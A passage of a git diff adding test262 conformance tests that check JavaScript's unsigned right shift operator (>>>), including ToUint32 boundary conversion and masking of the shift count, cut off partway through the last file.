+if (1048575 >>> 26 !== 0) {
+ $ERROR('#879: 1048575 >>> 26 === 0. Actual: ' + (1048575 >>> 26));
+}
+
+
+if (2097151 >>> 26 !== 0) {
+ $ERROR('#880: 2097151 >>> 26 === 0. Actual: ' + (2097151 >>> 26));
+}
+
+
+if (4194303 >>> 26 !== 0) {
+ $ERROR('#881: 4194303 >>> 26 === 0. Actual: ' + (4194303 >>> 26));
+}
+
+
+if (8388607 >>> 26 !== 0) {
+ $ERROR('#882: 8388607 >>> 26 === 0. Actual: ' + (8388607 >>> 26));
+}
+
+
+if (16777215 >>> 26 !== 0) {
+ $ERROR('#883: 16777215 >>> 26 === 0. Actual: ' + (16777215 >>> 26));
+}
+
+
+if (33554431 >>> 26 !== 0) {
+ $ERROR('#884: 33554431 >>> 26 === 0. Actual: ' + (33554431 >>> 26));
+}
+
+
+if (67108863 >>> 26 !== 0) {
+ $ERROR('#885: 67108863 >>> 26 === 0. Actual: ' + (67108863 >>> 26));
+}
+
+
+if (134217727 >>> 26 !== 1) {
+ $ERROR('#886: 134217727 >>> 26 === 1. Actual: ' + (134217727 >>> 26));
+}
+
+
+if (268435455 >>> 26 !== 3) {
+ $ERROR('#887: 268435455 >>> 26 === 3. Actual: ' + (268435455 >>> 26));
+}
+
+
+if (536870911 >>> 26 !== 7) {
+ $ERROR('#888: 536870911 >>> 26 === 7. Actual: ' + (536870911 >>> 26));
+}
+
+
+if (1073741823 >>> 26 !== 15) {
+ $ERROR('#889: 1073741823 >>> 26 === 15. Actual: ' + (1073741823 >>> 26));
+}
+
+
+if (2147483647 >>> 26 !== 31) {
+ $ERROR('#890: 2147483647 >>> 26 === 31. Actual: ' + (2147483647 >>> 26));
+}
+
+
+if (4294967295 >>> 26 !== 63) {
+ $ERROR('#891: 4294967295 >>> 26 === 63. Actual: ' + (4294967295 >>> 26));
+}
+
+
+if (0 >>> 27 !== 0) {
+ $ERROR('#892: 0 >>> 27 === 0. Actual: ' + (0 >>> 27));
+}
+
+
+if (1 >>> 27 !== 0) {
+ $ERROR('#893: 1 >>> 27 === 0. Actual: ' + (1 >>> 27));
+}
+
+
+if (3 >>> 27 !== 0) {
+ $ERROR('#894: 3 >>> 27 === 0. Actual: ' + (3 >>> 27));
+}
+
+
+if (7 >>> 27 !== 0) {
+ $ERROR('#895: 7 >>> 27 === 0. Actual: ' + (7 >>> 27));
+}
+
+
+if (15 >>> 27 !== 0) {
+ $ERROR('#896: 15 >>> 27 === 0. Actual: ' + (15 >>> 27));
+}
+
+
+if (31 >>> 27 !== 0) {
+ $ERROR('#897: 31 >>> 27 === 0. Actual: ' + (31 >>> 27));
+}
+
+
+if (63 >>> 27 !== 0) {
+ $ERROR('#898: 63 >>> 27 === 0. Actual: ' + (63 >>> 27));
+}
+
+
+if (127 >>> 27 !== 0) {
+ $ERROR('#899: 127 >>> 27 === 0. Actual: ' + (127 >>> 27));
+}
+
+
+if (255 >>> 27 !== 0) {
+ $ERROR('#900: 255 >>> 27 === 0. Actual: ' + (255 >>> 27));
+}
+
+
+if (511 >>> 27 !== 0) {
+ $ERROR('#901: 511 >>> 27 === 0. Actual: ' + (511 >>> 27));
+}
+
+
+if (1023 >>> 27 !== 0) {
+ $ERROR('#902: 1023 >>> 27 === 0. Actual: ' + (1023 >>> 27));
+}
+
+
+if (2047 >>> 27 !== 0) {
+ $ERROR('#903: 2047 >>> 27 === 0. Actual: ' + (2047 >>> 27));
+}
+
+
+if (4095 >>> 27 !== 0) {
+ $ERROR('#904: 4095 >>> 27 === 0. Actual: ' + (4095 >>> 27));
+}
+
+
+if (8191 >>> 27 !== 0) {
+ $ERROR('#905: 8191 >>> 27 === 0. Actual: ' + (8191 >>> 27));
+}
+
+
+if (16383 >>> 27 !== 0) {
+ $ERROR('#906: 16383 >>> 27 === 0. Actual: ' + (16383 >>> 27));
+}
+
+
+if (32767 >>> 27 !== 0) {
+ $ERROR('#907: 32767 >>> 27 === 0. Actual: ' + (32767 >>> 27));
+}
+
+
+if (65535 >>> 27 !== 0) {
+ $ERROR('#908: 65535 >>> 27 === 0. Actual: ' + (65535 >>> 27));
+}
+
+
+if (131071 >>> 27 !== 0) {
+ $ERROR('#909: 131071 >>> 27 === 0. Actual: ' + (131071 >>> 27));
+}
+
+
+if (262143 >>> 27 !== 0) {
+ $ERROR('#910: 262143 >>> 27 === 0. Actual: ' + (262143 >>> 27));
+}
+
+
+if (524287 >>> 27 !== 0) {
+ $ERROR('#911: 524287 >>> 27 === 0. Actual: ' + (524287 >>> 27));
+}
+
+
+if (1048575 >>> 27 !== 0) {
+ $ERROR('#912: 1048575 >>> 27 === 0. Actual: ' + (1048575 >>> 27));
+}
+
+
+if (2097151 >>> 27 !== 0) {
+ $ERROR('#913: 2097151 >>> 27 === 0. Actual: ' + (2097151 >>> 27));
+}
+
+
+if (4194303 >>> 27 !== 0) {
+ $ERROR('#914: 4194303 >>> 27 === 0. Actual: ' + (4194303 >>> 27));
+}
+
+
+if (8388607 >>> 27 !== 0) {
+ $ERROR('#915: 8388607 >>> 27 === 0. Actual: ' + (8388607 >>> 27));
+}
+
+
+if (16777215 >>> 27 !== 0) {
+ $ERROR('#916: 16777215 >>> 27 === 0. Actual: ' + (16777215 >>> 27));
+}
+
+
+if (33554431 >>> 27 !== 0) {
+ $ERROR('#917: 33554431 >>> 27 === 0. Actual: ' + (33554431 >>> 27));
+}
+
+
+if (67108863 >>> 27 !== 0) {
+ $ERROR('#918: 67108863 >>> 27 === 0. Actual: ' + (67108863 >>> 27));
+}
+
+
+if (134217727 >>> 27 !== 0) {
+ $ERROR('#919: 134217727 >>> 27 === 0. Actual: ' + (134217727 >>> 27));
+}
+
+
+if (268435455 >>> 27 !== 1) {
+ $ERROR('#920: 268435455 >>> 27 === 1. Actual: ' + (268435455 >>> 27));
+}
+
+
+if (536870911 >>> 27 !== 3) {
+ $ERROR('#921: 536870911 >>> 27 === 3. Actual: ' + (536870911 >>> 27));
+}
+
+
+if (1073741823 >>> 27 !== 7) {
+ $ERROR('#922: 1073741823 >>> 27 === 7. Actual: ' + (1073741823 >>> 27));
+}
+
+
+if (2147483647 >>> 27 !== 15) {
+ $ERROR('#923: 2147483647 >>> 27 === 15. Actual: ' + (2147483647 >>> 27));
+}
+
+
+if (4294967295 >>> 27 !== 31) {
+ $ERROR('#924: 4294967295 >>> 27 === 31. Actual: ' + (4294967295 >>> 27));
+}
+
+
+if (0 >>> 28 !== 0) {
+ $ERROR('#925: 0 >>> 28 === 0. Actual: ' + (0 >>> 28));
+}
+
+
+if (1 >>> 28 !== 0) {
+ $ERROR('#926: 1 >>> 28 === 0. Actual: ' + (1 >>> 28));
+}
+
+
+if (3 >>> 28 !== 0) {
+ $ERROR('#927: 3 >>> 28 === 0. Actual: ' + (3 >>> 28));
+}
+
+
+if (7 >>> 28 !== 0) {
+ $ERROR('#928: 7 >>> 28 === 0. Actual: ' + (7 >>> 28));
+}
+
+
+if (15 >>> 28 !== 0) {
+ $ERROR('#929: 15 >>> 28 === 0. Actual: ' + (15 >>> 28));
+}
+
+
+if (31 >>> 28 !== 0) {
+ $ERROR('#930: 31 >>> 28 === 0. Actual: ' + (31 >>> 28));
+}
+
+
+if (63 >>> 28 !== 0) {
+ $ERROR('#931: 63 >>> 28 === 0. Actual: ' + (63 >>> 28));
+}
+
+
+if (127 >>> 28 !== 0) {
+ $ERROR('#932: 127 >>> 28 === 0. Actual: ' + (127 >>> 28));
+}
+
+
+if (255 >>> 28 !== 0) {
+ $ERROR('#933: 255 >>> 28 === 0. Actual: ' + (255 >>> 28));
+}
+
+
+if (511 >>> 28 !== 0) {
+ $ERROR('#934: 511 >>> 28 === 0. Actual: ' + (511 >>> 28));
+}
+
+
+if (1023 >>> 28 !== 0) {
+ $ERROR('#935: 1023 >>> 28 === 0. Actual: ' + (1023 >>> 28));
+}
+
+
+if (2047 >>> 28 !== 0) {
+ $ERROR('#936: 2047 >>> 28 === 0. Actual: ' + (2047 >>> 28));
+}
+
+
+if (4095 >>> 28 !== 0) {
+ $ERROR('#937: 4095 >>> 28 === 0. Actual: ' + (4095 >>> 28));
+}
+
+
+if (8191 >>> 28 !== 0) {
+ $ERROR('#938: 8191 >>> 28 === 0. Actual: ' + (8191 >>> 28));
+}
+
+
+if (16383 >>> 28 !== 0) {
+ $ERROR('#939: 16383 >>> 28 === 0. Actual: ' + (16383 >>> 28));
+}
+
+
+if (32767 >>> 28 !== 0) {
+ $ERROR('#940: 32767 >>> 28 === 0. Actual: ' + (32767 >>> 28));
+}
+
+
+if (65535 >>> 28 !== 0) {
+ $ERROR('#941: 65535 >>> 28 === 0. Actual: ' + (65535 >>> 28));
+}
+
+
+if (131071 >>> 28 !== 0) {
+ $ERROR('#942: 131071 >>> 28 === 0. Actual: ' + (131071 >>> 28));
+}
+
+
+if (262143 >>> 28 !== 0) {
+ $ERROR('#943: 262143 >>> 28 === 0. Actual: ' + (262143 >>> 28));
+}
+
+
+if (524287 >>> 28 !== 0) {
+ $ERROR('#944: 524287 >>> 28 === 0. Actual: ' + (524287 >>> 28));
+}
+
+
+if (1048575 >>> 28 !== 0) {
+ $ERROR('#945: 1048575 >>> 28 === 0. Actual: ' + (1048575 >>> 28));
+}
+
+
+if (2097151 >>> 28 !== 0) {
+ $ERROR('#946: 2097151 >>> 28 === 0. Actual: ' + (2097151 >>> 28));
+}
+
+
+if (4194303 >>> 28 !== 0) {
+ $ERROR('#947: 4194303 >>> 28 === 0. Actual: ' + (4194303 >>> 28));
+}
+
+
+if (8388607 >>> 28 !== 0) {
+ $ERROR('#948: 8388607 >>> 28 === 0. Actual: ' + (8388607 >>> 28));
+}
+
+
+if (16777215 >>> 28 !== 0) {
+ $ERROR('#949: 16777215 >>> 28 === 0. Actual: ' + (16777215 >>> 28));
+}
+
+
+if (33554431 >>> 28 !== 0) {
+ $ERROR('#950: 33554431 >>> 28 === 0. Actual: ' + (33554431 >>> 28));
+}
+
+
+if (67108863 >>> 28 !== 0) {
+ $ERROR('#951: 67108863 >>> 28 === 0. Actual: ' + (67108863 >>> 28));
+}
+
+
+if (134217727 >>> 28 !== 0) {
+ $ERROR('#952: 134217727 >>> 28 === 0. Actual: ' + (134217727 >>> 28));
+}
+
+
+if (268435455 >>> 28 !== 0) {
+ $ERROR('#953: 268435455 >>> 28 === 0. Actual: ' + (268435455 >>> 28));
+}
+
+
+if (536870911 >>> 28 !== 1) {
+ $ERROR('#954: 536870911 >>> 28 === 1. Actual: ' + (536870911 >>> 28));
+}
+
+
+if (1073741823 >>> 28 !== 3) {
+ $ERROR('#955: 1073741823 >>> 28 === 3. Actual: ' + (1073741823 >>> 28));
+}
+
+
+if (2147483647 >>> 28 !== 7) {
+ $ERROR('#956: 2147483647 >>> 28 === 7. Actual: ' + (2147483647 >>> 28));
+}
+
+
+if (4294967295 >>> 28 !== 15) {
+ $ERROR('#957: 4294967295 >>> 28 === 15. Actual: ' + (4294967295 >>> 28));
+}
+
+
+if (0 >>> 29 !== 0) {
+ $ERROR('#958: 0 >>> 29 === 0. Actual: ' + (0 >>> 29));
+}
+
+
+if (1 >>> 29 !== 0) {
+ $ERROR('#959: 1 >>> 29 === 0. Actual: ' + (1 >>> 29));
+}
+
+
+if (3 >>> 29 !== 0) {
+ $ERROR('#960: 3 >>> 29 === 0. Actual: ' + (3 >>> 29));
+}
+
+
+if (7 >>> 29 !== 0) {
+ $ERROR('#961: 7 >>> 29 === 0. Actual: ' + (7 >>> 29));
+}
+
+
+if (15 >>> 29 !== 0) {
+ $ERROR('#962: 15 >>> 29 === 0. Actual: ' + (15 >>> 29));
+}
+
+
+if (31 >>> 29 !== 0) {
+ $ERROR('#963: 31 >>> 29 === 0. Actual: ' + (31 >>> 29));
+}
+
+
+if (63 >>> 29 !== 0) {
+ $ERROR('#964: 63 >>> 29 === 0. Actual: ' + (63 >>> 29));
+}
+
+
+if (127 >>> 29 !== 0) {
+ $ERROR('#965: 127 >>> 29 === 0. Actual: ' + (127 >>> 29));
+}
+
+
+if (255 >>> 29 !== 0) {
+ $ERROR('#966: 255 >>> 29 === 0. Actual: ' + (255 >>> 29));
+}
+
+
+if (511 >>> 29 !== 0) {
+ $ERROR('#967: 511 >>> 29 === 0. Actual: ' + (511 >>> 29));
+}
+
+
+if (1023 >>> 29 !== 0) {
+ $ERROR('#968: 1023 >>> 29 === 0. Actual: ' + (1023 >>> 29));
+}
+
+
+if (2047 >>> 29 !== 0) {
+ $ERROR('#969: 2047 >>> 29 === 0. Actual: ' + (2047 >>> 29));
+}
+
+
+if (4095 >>> 29 !== 0) {
+ $ERROR('#970: 4095 >>> 29 === 0. Actual: ' + (4095 >>> 29));
+}
+
+
+if (8191 >>> 29 !== 0) {
+ $ERROR('#971: 8191 >>> 29 === 0. Actual: ' + (8191 >>> 29));
+}
+
+
+if (16383 >>> 29 !== 0) {
+ $ERROR('#972: 16383 >>> 29 === 0. Actual: ' + (16383 >>> 29));
+}
+
+
+if (32767 >>> 29 !== 0) {
+ $ERROR('#973: 32767 >>> 29 === 0. Actual: ' + (32767 >>> 29));
+}
+
+
+if (65535 >>> 29 !== 0) {
+ $ERROR('#974: 65535 >>> 29 === 0. Actual: ' + (65535 >>> 29));
+}
+
+
+if (131071 >>> 29 !== 0) {
+ $ERROR('#975: 131071 >>> 29 === 0. Actual: ' + (131071 >>> 29));
+}
+
+
+if (262143 >>> 29 !== 0) {
+ $ERROR('#976: 262143 >>> 29 === 0. Actual: ' + (262143 >>> 29));
+}
+
+
+if (524287 >>> 29 !== 0) {
+ $ERROR('#977: 524287 >>> 29 === 0. Actual: ' + (524287 >>> 29));
+}
+
+
+if (1048575 >>> 29 !== 0) {
+ $ERROR('#978: 1048575 >>> 29 === 0. Actual: ' + (1048575 >>> 29));
+}
+
+
+if (2097151 >>> 29 !== 0) {
+ $ERROR('#979: 2097151 >>> 29 === 0. Actual: ' + (2097151 >>> 29));
+}
+
+
+if (4194303 >>> 29 !== 0) {
+ $ERROR('#980: 4194303 >>> 29 === 0. Actual: ' + (4194303 >>> 29));
+}
+
+
+if (8388607 >>> 29 !== 0) {
+ $ERROR('#981: 8388607 >>> 29 === 0. Actual: ' + (8388607 >>> 29));
+}
+
+
+if (16777215 >>> 29 !== 0) {
+ $ERROR('#982: 16777215 >>> 29 === 0. Actual: ' + (16777215 >>> 29));
+}
+
+
+if (33554431 >>> 29 !== 0) {
+ $ERROR('#983: 33554431 >>> 29 === 0. Actual: ' + (33554431 >>> 29));
+}
+
+
+if (67108863 >>> 29 !== 0) {
+ $ERROR('#984: 67108863 >>> 29 === 0. Actual: ' + (67108863 >>> 29));
+}
+
+
+if (134217727 >>> 29 !== 0) {
+ $ERROR('#985: 134217727 >>> 29 === 0. Actual: ' + (134217727 >>> 29));
+}
+
+
+if (268435455 >>> 29 !== 0) {
+ $ERROR('#986: 268435455 >>> 29 === 0. Actual: ' + (268435455 >>> 29));
+}
+
+
+if (536870911 >>> 29 !== 0) {
+ $ERROR('#987: 536870911 >>> 29 === 0. Actual: ' + (536870911 >>> 29));
+}
+
+
+if (1073741823 >>> 29 !== 1) {
+ $ERROR('#988: 1073741823 >>> 29 === 1. Actual: ' + (1073741823 >>> 29));
+}
+
+
+if (2147483647 >>> 29 !== 3) {
+ $ERROR('#989: 2147483647 >>> 29 === 3. Actual: ' + (2147483647 >>> 29));
+}
+
+
+if (4294967295 >>> 29 !== 7) {
+ $ERROR('#990: 4294967295 >>> 29 === 7. Actual: ' + (4294967295 >>> 29));
+}
+
+
+if (0 >>> 30 !== 0) {
+ $ERROR('#991: 0 >>> 30 === 0. Actual: ' + (0 >>> 30));
+}
+
+
+if (1 >>> 30 !== 0) {
+ $ERROR('#992: 1 >>> 30 === 0. Actual: ' + (1 >>> 30));
+}
+
+
+if (3 >>> 30 !== 0) {
+ $ERROR('#993: 3 >>> 30 === 0. Actual: ' + (3 >>> 30));
+}
+
+
+if (7 >>> 30 !== 0) {
+ $ERROR('#994: 7 >>> 30 === 0. Actual: ' + (7 >>> 30));
+}
+
+
+if (15 >>> 30 !== 0) {
+ $ERROR('#995: 15 >>> 30 === 0. Actual: ' + (15 >>> 30));
+}
+
+
+if (31 >>> 30 !== 0) {
+ $ERROR('#996: 31 >>> 30 === 0. Actual: ' + (31 >>> 30));
+}
+
+
+if (63 >>> 30 !== 0) {
+ $ERROR('#997: 63 >>> 30 === 0. Actual: ' + (63 >>> 30));
+}
+
+
+if (127 >>> 30 !== 0) {
+ $ERROR('#998: 127 >>> 30 === 0. Actual: ' + (127 >>> 30));
+}
+
+
+if (255 >>> 30 !== 0) {
+ $ERROR('#999: 255 >>> 30 === 0. Actual: ' + (255 >>> 30));
+}
+
+
+if (511 >>> 30 !== 0) {
+ $ERROR('#1000: 511 >>> 30 === 0. Actual: ' + (511 >>> 30));
+}
+
+
+if (1023 >>> 30 !== 0) {
+ $ERROR('#1001: 1023 >>> 30 === 0. Actual: ' + (1023 >>> 30));
+}
+
+
+if (2047 >>> 30 !== 0) {
+ $ERROR('#1002: 2047 >>> 30 === 0. Actual: ' + (2047 >>> 30));
+}
+
+
+if (4095 >>> 30 !== 0) {
+ $ERROR('#1003: 4095 >>> 30 === 0. Actual: ' + (4095 >>> 30));
+}
+
+
+if (8191 >>> 30 !== 0) {
+ $ERROR('#1004: 8191 >>> 30 === 0. Actual: ' + (8191 >>> 30));
+}
+
+
+if (16383 >>> 30 !== 0) {
+ $ERROR('#1005: 16383 >>> 30 === 0. Actual: ' + (16383 >>> 30));
+}
+
+
+if (32767 >>> 30 !== 0) {
+ $ERROR('#1006: 32767 >>> 30 === 0. Actual: ' + (32767 >>> 30));
+}
+
+
+if (65535 >>> 30 !== 0) {
+ $ERROR('#1007: 65535 >>> 30 === 0. Actual: ' + (65535 >>> 30));
+}
+
+
+if (131071 >>> 30 !== 0) {
+ $ERROR('#1008: 131071 >>> 30 === 0. Actual: ' + (131071 >>> 30));
+}
+
+
+if (262143 >>> 30 !== 0) {
+ $ERROR('#1009: 262143 >>> 30 === 0. Actual: ' + (262143 >>> 30));
+}
+
+
+if (524287 >>> 30 !== 0) {
+ $ERROR('#1010: 524287 >>> 30 === 0. Actual: ' + (524287 >>> 30));
+}
+
+
+if (1048575 >>> 30 !== 0) {
+ $ERROR('#1011: 1048575 >>> 30 === 0. Actual: ' + (1048575 >>> 30));
+}
+
+
+if (2097151 >>> 30 !== 0) {
+ $ERROR('#1012: 2097151 >>> 30 === 0. Actual: ' + (2097151 >>> 30));
+}
+
+
+if (4194303 >>> 30 !== 0) {
+ $ERROR('#1013: 4194303 >>> 30 === 0. Actual: ' + (4194303 >>> 30));
+}
+
+
+if (8388607 >>> 30 !== 0) {
+ $ERROR('#1014: 8388607 >>> 30 === 0. Actual: ' + (8388607 >>> 30));
+}
+
+
+if (16777215 >>> 30 !== 0) {
+ $ERROR('#1015: 16777215 >>> 30 === 0. Actual: ' + (16777215 >>> 30));
+}
+
+
+if (33554431 >>> 30 !== 0) {
+ $ERROR('#1016: 33554431 >>> 30 === 0. Actual: ' + (33554431 >>> 30));
+}
+
+
+if (67108863 >>> 30 !== 0) {
+ $ERROR('#1017: 67108863 >>> 30 === 0. Actual: ' + (67108863 >>> 30));
+}
+
+
+if (134217727 >>> 30 !== 0) {
+ $ERROR('#1018: 134217727 >>> 30 === 0. Actual: ' + (134217727 >>> 30));
+}
+
+
+if (268435455 >>> 30 !== 0) {
+ $ERROR('#1019: 268435455 >>> 30 === 0. Actual: ' + (268435455 >>> 30));
+}
+
+
+if (536870911 >>> 30 !== 0) {
+ $ERROR('#1020: 536870911 >>> 30 === 0. Actual: ' + (536870911 >>> 30));
+}
+
+
+if (1073741823 >>> 30 !== 0) {
+ $ERROR('#1021: 1073741823 >>> 30 === 0. Actual: ' + (1073741823 >>> 30));
+}
+
+
+if (2147483647 >>> 30 !== 1) {
+ $ERROR('#1022: 2147483647 >>> 30 === 1. Actual: ' + (2147483647 >>> 30));
+}
+
+
+if (4294967295 >>> 30 !== 3) {
+ $ERROR('#1023: 4294967295 >>> 30 === 3. Actual: ' + (4294967295 >>> 30));
+}
+
+
+if (0 >>> 31 !== 0) {
+ $ERROR('#1024: 0 >>> 31 === 0. Actual: ' + (0 >>> 31));
+}
+
+
+if (1 >>> 31 !== 0) {
+ $ERROR('#1025: 1 >>> 31 === 0. Actual: ' + (1 >>> 31));
+}
+
+
+if (3 >>> 31 !== 0) {
+ $ERROR('#1026: 3 >>> 31 === 0. Actual: ' + (3 >>> 31));
+}
+
+
+if (7 >>> 31 !== 0) {
+ $ERROR('#1027: 7 >>> 31 === 0. Actual: ' + (7 >>> 31));
+}
+
+
+if (15 >>> 31 !== 0) {
+ $ERROR('#1028: 15 >>> 31 === 0. Actual: ' + (15 >>> 31));
+}
+
+
+if (31 >>> 31 !== 0) {
+ $ERROR('#1029: 31 >>> 31 === 0. Actual: ' + (31 >>> 31));
+}
+
+
+if (63 >>> 31 !== 0) {
+ $ERROR('#1030: 63 >>> 31 === 0. Actual: ' + (63 >>> 31));
+}
+
+
+if (127 >>> 31 !== 0) {
+ $ERROR('#1031: 127 >>> 31 === 0. Actual: ' + (127 >>> 31));
+}
+
+
+if (255 >>> 31 !== 0) {
+ $ERROR('#1032: 255 >>> 31 === 0. Actual: ' + (255 >>> 31));
+}
+
+
+if (511 >>> 31 !== 0) {
+ $ERROR('#1033: 511 >>> 31 === 0. Actual: ' + (511 >>> 31));
+}
+
+
+if (1023 >>> 31 !== 0) {
+ $ERROR('#1034: 1023 >>> 31 === 0. Actual: ' + (1023 >>> 31));
+}
+
+
+if (2047 >>> 31 !== 0) {
+ $ERROR('#1035: 2047 >>> 31 === 0. Actual: ' + (2047 >>> 31));
+}
+
+
+if (4095 >>> 31 !== 0) {
+ $ERROR('#1036: 4095 >>> 31 === 0. Actual: ' + (4095 >>> 31));
+}
+
+
+if (8191 >>> 31 !== 0) {
+ $ERROR('#1037: 8191 >>> 31 === 0. Actual: ' + (8191 >>> 31));
+}
+
+
+if (16383 >>> 31 !== 0) {
+ $ERROR('#1038: 16383 >>> 31 === 0. Actual: ' + (16383 >>> 31));
+}
+
+
+if (32767 >>> 31 !== 0) {
+ $ERROR('#1039: 32767 >>> 31 === 0. Actual: ' + (32767 >>> 31));
+}
+
+
+if (65535 >>> 31 !== 0) {
+ $ERROR('#1040: 65535 >>> 31 === 0. Actual: ' + (65535 >>> 31));
+}
+
+
+if (131071 >>> 31 !== 0) {
+ $ERROR('#1041: 131071 >>> 31 === 0. Actual: ' + (131071 >>> 31));
+}
+
+
+if (262143 >>> 31 !== 0) {
+ $ERROR('#1042: 262143 >>> 31 === 0. Actual: ' + (262143 >>> 31));
+}
+
+
+if (524287 >>> 31 !== 0) {
+ $ERROR('#1043: 524287 >>> 31 === 0. Actual: ' + (524287 >>> 31));
+}
+
+
+if (1048575 >>> 31 !== 0) {
+ $ERROR('#1044: 1048575 >>> 31 === 0. Actual: ' + (1048575 >>> 31));
+}
+
+
+if (2097151 >>> 31 !== 0) {
+ $ERROR('#1045: 2097151 >>> 31 === 0. Actual: ' + (2097151 >>> 31));
+}
+
+
+if (4194303 >>> 31 !== 0) {
+ $ERROR('#1046: 4194303 >>> 31 === 0. Actual: ' + (4194303 >>> 31));
+}
+
+
+if (8388607 >>> 31 !== 0) {
+ $ERROR('#1047: 8388607 >>> 31 === 0. Actual: ' + (8388607 >>> 31));
+}
+
+
+if (16777215 >>> 31 !== 0) {
+ $ERROR('#1048: 16777215 >>> 31 === 0. Actual: ' + (16777215 >>> 31));
+}
+
+
+if (33554431 >>> 31 !== 0) {
+ $ERROR('#1049: 33554431 >>> 31 === 0. Actual: ' + (33554431 >>> 31));
+}
+
+
+if (67108863 >>> 31 !== 0) {
+ $ERROR('#1050: 67108863 >>> 31 === 0. Actual: ' + (67108863 >>> 31));
+}
+
+
+if (134217727 >>> 31 !== 0) {
+ $ERROR('#1051: 134217727 >>> 31 === 0. Actual: ' + (134217727 >>> 31));
+}
+
+
+if (268435455 >>> 31 !== 0) {
+ $ERROR('#1052: 268435455 >>> 31 === 0. Actual: ' + (268435455 >>> 31));
+}
+
+
+if (536870911 >>> 31 !== 0) {
+ $ERROR('#1053: 536870911 >>> 31 === 0. Actual: ' + (536870911 >>> 31));
+}
+
+
+if (1073741823 >>> 31 !== 0) {
+ $ERROR('#1054: 1073741823 >>> 31 === 0. Actual: ' + (1073741823 >>> 31));
+}
+
+
+if (2147483647 >>> 31 !== 0) {
+ $ERROR('#1055: 2147483647 >>> 31 === 0. Actual: ' + (2147483647 >>> 31));
+}
+
+
+if (4294967295 >>> 31 !== 1) {
+ $ERROR('#1056: 4294967295 >>> 31 === 1. Actual: ' + (4294967295 >>> 31));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A5.1_T1.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A5.1_T1.js
new file mode 100644
index 000000000..a12bccd07
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A5.1_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y uses ToUint32(ShiftExpression)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A5.1_T1.js
+ * @description Checking boundary points
+ */
+
+//CHECK#1
+if (2147483648.1 >>> 0 !== 2147483648) {
+ $ERROR('#1: 2147483648.1 >>> 0 === 2147483648. Actual: ' + (2147483648.1 >>> 0));
+}
+
+//CHECK#2
+if (4294967296.1 >>> 0 !== 0) {
+ $ERROR('#2: 4294967296.1 >>> 0 === 0. Actual: ' + (4294967296.1 >>> 0));
+}
+
+//CHECK#3
+if (6442450944.1 >>> 0 !== 2147483648) {
+ $ERROR('#3: 6442450944.1 >>> 0 === 2147483648. Actual: ' + (6442450944.1 >>> 0));
+}
+
+//CHECK#4
+if (4294967295.1 >>> 0 !== 4294967295) {
+ $ERROR('#4: 4294967295.1 >>> 0 === 4294967295. Actual: ' + (4294967295.1 >>> 0));
+}
+
+//CHECK#5
+if (6442450943.1 >>> 0 !== 2147483647) {
+ $ERROR('#5: 6442450943.1 >>> 0 === 2147483647. Actual: ' + (6442450943.1 >>> 0));
+}
+
+//CHECK#6
+if (-2147483649.1 >>> 0 !== 2147483647) {
+ $ERROR('#6: -2147483649.1 >>> 0 === 2147483647. Actual: ' + (-2147483649.1 >>> 0));
+}
+
+//CHECK#7
+if (-4294967297.1 >>> 0 !== 4294967295) {
+ $ERROR('#7: -4294967297.1 >>> 0 === 4294967295. Actual: ' + (-4294967297.1 >>> 0));
+}
+
+//CHECK#8
+if (-6442450945.1 >>> 0 !== 2147483647) {
+ $ERROR('#8: -6442450945.1 >>> 0 === 2147483647. Actual: ' + (-6442450945.1 >>> 0));
+}
+
+//CHECK#9
+if (-4294967296.1 >>> 0 !== 0) {
+ $ERROR('#9: -4294967296.1 >>> 0 === 0 . Actual: ' + (-4294967296.1 >>> 0));
+}
+
+//CHECK#10
+if (-6442450944.1 >>> 0 !== 2147483648) {
+ $ERROR('#10: -6442450944.1 >>> 0 === 2147483648. Actual: ' + (-6442450944.1 >>> 0));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A5.2_T1.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A5.2_T1.js
new file mode 100644
index 000000000..84abb3616
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A5.2_T1.js
@@ -0,0 +1,331 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y uses ToUint32(AdditiveExpression) & 31
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A5.2_T1.js
+ * @description Checking distinct points
+ */
+
+//CHECK#1
+if (4294967295 >>> -32.1 !== 4294967295) {
+ $ERROR('#1: 4294967295 >>> -32.1 === 4294967295. Actual: ' + (4294967295 >>> -32.1));
+}
+
+//CHECK#2
+if (4294967295 >>> -31.1 !== 2147483647) {
+ $ERROR('#2: 4294967295 >>> -31.1 === 2147483647. Actual: ' + (4294967295 >>> -31.1));
+}
+
+//CHECK#3
+if (4294967295 >>> -30.1 !== 1073741823) {
+ $ERROR('#3: 4294967295 >>> -30.1 === 1073741823. Actual: ' + (4294967295 >>> -30.1));
+}
+
+//CHECK#4
+if (4294967295 >>> -29.1 !== 536870911) {
+ $ERROR('#4: 4294967295 >>> -29.1 === 536870911. Actual: ' + (4294967295 >>> -29.1));
+}
+
+//CHECK#5
+if (4294967295 >>> -28.1 !== 268435455) {
+ $ERROR('#5: 4294967295 >>> -28.1 === 268435455. Actual: ' + (4294967295 >>> -28.1));
+}
+
+//CHECK#6
+if (4294967295 >>> -27.1 !== 134217727) {
+ $ERROR('#6: 4294967295 >>> -27.1 === 134217727. Actual: ' + (4294967295 >>> -27.1));
+}
+
+//CHECK#7
+if (4294967295 >>> -26.1 !== 67108863) {
+ $ERROR('#7: 4294967295 >>> -26.1 === 67108863. Actual: ' + (4294967295 >>> -26.1));
+}
+
+//CHECK#8
+if (4294967295 >>> -25.1 !== 33554431) {
+ $ERROR('#8: 4294967295 >>> -25.1 === 33554431. Actual: ' + (4294967295 >>> -25.1));
+}
+
+//CHECK#9
+if (4294967295 >>> -24.1 !== 16777215) {
+ $ERROR('#9: 4294967295 >>> -24.1 === 16777215. Actual: ' + (4294967295 >>> -24.1));
+}
+
+//CHECK#10
+if (4294967295 >>> -23.1 !== 8388607) {
+ $ERROR('#10: 4294967295 >>> -23.1 === 8388607. Actual: ' + (4294967295 >>> -23.1));
+}
+
+//CHECK#11
